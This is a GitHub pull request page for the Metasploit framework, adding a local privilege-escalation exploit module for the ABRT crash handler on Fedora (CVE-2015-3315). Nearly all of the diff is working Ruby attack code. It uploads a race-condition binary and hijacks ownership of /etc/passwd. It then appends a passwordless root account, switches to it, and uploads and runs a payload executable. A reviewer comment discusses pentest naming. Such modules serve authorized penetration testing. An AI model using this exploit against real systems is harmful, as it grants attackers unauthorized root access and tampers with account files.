New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add ABRT raceabrt Privilege Escalation module #9422
Merged
Merged
Changes from 1 commit
Commits
Show all changes
5 commits
Select commit
Hold shift + click to select a range
File filter
Filter by extension
Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
There are no files selected for viewing
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,189 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Post::File | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'ABRT raceabrt Privilege Escalation', | ||
'Description' => %q{ | ||
This module attempts to gain root privileges on Fedora systems with | ||
a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured | ||
as the crash handler. | ||
|
||
A race condition allows local users to change ownership of arbitrary | ||
files (CVE-2015-3315). This module uses a symlink attack on | ||
'/var/tmp/abrt/*/maps' to change the ownership of /etc/passwd, | ||
then adds a new user with UID=0 GID=0 to gain root privileges. | ||
Winning the race could take a few minutes. | ||
|
||
This module has been tested successfully on ABRT packaged version | ||
2.2.1-1.fc19 on Fedora 19 x86_64 and 2.2.2-2.fc20 on Fedora 20 x86_64. | ||
Fedora 21 and Red Hat 7 systems are reportedly affected, but untested. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Tavis Ormandy', # Discovery and C exploit | ||
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit | ||
], | ||
'DisclosureDate' => 'Apr 14 2015', | ||
'Platform' => [ 'linux' ], | ||
'Arch' => [ ARCH_X86, ARCH_X64 ], | ||
'SessionTypes' => [ 'shell', 'meterpreter' ], | ||
'Targets' => [[ 'Auto', {} ]], | ||
'References' => | ||
[ | ||
[ 'CVE', '2015-3315' ], | ||
[ 'EDB', '36747' ], | ||
[ 'BID', '75117' ], | ||
[ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ], | ||
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ], | ||
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ], | ||
[ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ], | ||
[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ], | ||
[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ], | ||
[ 'URL', 'https://access.redhat.com/articles/1415483' ], | ||
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ], | ||
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ], | ||
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ] | ||
] | ||
)) | ||
register_options( | ||
[ | ||
OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]), | ||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) | ||
]) | ||
end | ||
|
||
def base_dir | ||
datastore['WritableDir'] | ||
end | ||
|
||
def timeout | ||
datastore['TIMEOUT'] | ||
end | ||
|
||
def check | ||
if cmd_exec('lsattr /etc/passwd').include? 'i' | ||
vprint_error 'File /etc/passwd is immutable' | ||
return CheckCode::Safe | ||
end | ||
|
||
kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern' | ||
unless kernel_core_pattern.include? 'abrt-hook-ccpp' | ||
vprint_error 'System is NOT configured to use ABRT for crash reporting' | ||
return CheckCode::Safe | ||
end | ||
vprint_good 'System is configured to use ABRT for crash reporting' | ||
|
||
if cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true' | ||
vprint_error "Directory '/var/spool/abrt' exists. System has been patched." | ||
return CheckCode::Safe | ||
end | ||
vprint_good 'System does not appear to have been patched' | ||
|
||
unless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true' | ||
vprint_error "Directory '/var/tmp/abrt' does NOT exist" | ||
return CheckCode::Safe | ||
end | ||
vprint_good "Directory '/var/tmp/abrt' exists" | ||
|
||
if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive' | ||
vprint_error 'abrt-ccp service NOT running' | ||
return CheckCode::Safe | ||
end | ||
vprint_good 'abrt-ccpp service is running' | ||
|
||
abrt_version = cmd_exec('yum list installed abrt | grep abrt').split(/\s+/)[1] | ||
unless abrt_version.blank? | ||
vprint_status "System is using ABRT package version #{abrt_version}" | ||
end | ||
|
||
CheckCode::Detected | ||
end | ||
|
||
def upload_and_chmodx(path, data) | ||
print_status "Writing '#{path}' (#{data.size} bytes) ..." | ||
rm_f path | ||
write_file path, data | ||
cmd_exec "chmod +x '#{path}'" | ||
register_file_for_cleanup path | ||
end | ||
|
||
def exploit | ||
if check != CheckCode::Detected | ||
fail_with Failure::NotVulnerable, 'Target is not vulnerable' | ||
end | ||
|
||
chown_file = '/etc/passwd' | ||
username = rand_text_alpha rand(7..10) | ||
|
||
# Upload Tavis Ormandy's raceabrt exploit: | ||
# - https://www.exploit-db.com/exploits/36747/ | ||
# Cross-compiled with: | ||
# - i486-linux-musl-cc -static raceabrt.c | ||
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt' | ||
fd = ::File.open path, 'rb' | ||
executable_data = fd.read fd.stat.size | ||
fd.close | ||
|
||
executable_name = ".#{rand_text_alphanumeric rand(5..10)}" | ||
executable_path = "#{base_dir}/#{executable_name}" | ||
upload_and_chmodx executable_path, executable_data | ||
|
||
# Change working directory to base_dir | ||
cmd_exec "cd '#{base_dir}'" | ||
|
||
# Launch raceabrt executable | ||
print_status "Trying to own '#{chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ..." | ||
output = cmd_exec "#{executable_path} #{chown_file}", nil, timeout | ||
output.each_line { |line| vprint_status line.chomp } | ||
|
||
# Check if we own /etc/passwd | ||
unless cmd_exec("[ -w #{chown_file} ] && echo true").include? 'true' | ||
fail_with Failure::Unknown, "Failed to own '#{chown_file}'" | ||
end | ||
|
||
print_good "Success! '#{chown_file}' is writable" | ||
|
||
# Add new user with no password | ||
print_status "Adding #{username} user to #{chown_file} ..." | ||
cmd_exec "echo '#{username}::0:0::/root:/bin/bash' >> #{chown_file}" | ||
|
||
# Switch to new user | ||
vprint_status 'Switching to new user...' | ||
cmd_exec "su - #{username}" | ||
id = cmd_exec 'id' | ||
vprint_line id | ||
unless id.include? 'root' | ||
fail_with Failure::Unknown, 'Failed to gain root privileges' | ||
end | ||
|
||
# Remove new user | ||
cmd_exec "sed -i 's/^#{username}.*$//g' #{chown_file}" | ||
passwd = cmd_exec "grep #{username} #{chown_file}" | ||
if passwd =~ /#{username}/ | ||
print_warning "Could not remove the '#{username}' user from #{chown_file}" | ||
end | ||
|
||
# Reinstate /etc/passwd ownership | ||
cmd_exec "chown root:root #{chown_file}" | ||
|
||
# Upload payload executable | ||
payload_name = ".#{rand_text_alphanumeric rand(5..10)}" | ||
payload_path = "#{base_dir}/#{payload_name}" | ||
upload_and_chmodx payload_path, generate_payload_exe | ||
|
||
# Execute payload executable | ||
vprint_status 'Executing payload...' | ||
cmd_exec payload_path | ||
end | ||
end |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'd like to see this be a non-required item. During a pentest, it'd be good to set a static name across all exploited systems (like the pentest company name), or whatever a possible agreed upon flag may be. If not given, rand it.